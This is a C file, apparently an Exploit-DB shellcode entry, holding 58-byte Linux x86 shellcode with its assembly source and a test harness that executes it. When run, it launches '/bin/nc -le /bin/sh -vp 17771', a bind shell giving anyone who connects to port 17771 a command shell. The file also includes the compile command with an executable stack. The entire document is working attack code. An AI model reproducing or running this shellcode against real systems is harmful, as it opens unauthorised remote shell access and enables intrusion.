50 lines
No EOL
1.1 KiB
C
50 lines
No EOL
1.1 KiB
C
/*
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# Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode
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# This shellcode will listen on port 17771 and give you /bin/sh
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# Shellcode Author: Oleg Boytsev
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# Tested on: Debian GNU/Linux 7/i686
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# Shellcode Length: 58
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# EDB Note ~ Command: gcc -m32 -z execstack x86_Linux_netcat_shellcode.c -o x86_Linux_netcat_shellcode
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global _start
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section .text
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_start:
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xor eax, eax
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xor edx, edx
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push eax
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push 0x31373737 ;-vp17771
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push 0x3170762d
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mov esi, esp
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push eax
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push 0x68732f2f ;-le//bin//sh
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push 0x6e69622f
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push 0x2f656c2d
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mov edi, esp
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push eax
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push 0x636e2f2f ;/bin//nc
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push 0x6e69622f
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mov ebx, esp
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push edx
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push esi
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push edi
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push ebx
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mov ecx, esp
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mov al,11
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int 0x80
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char shellcode[] =
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"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n",strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |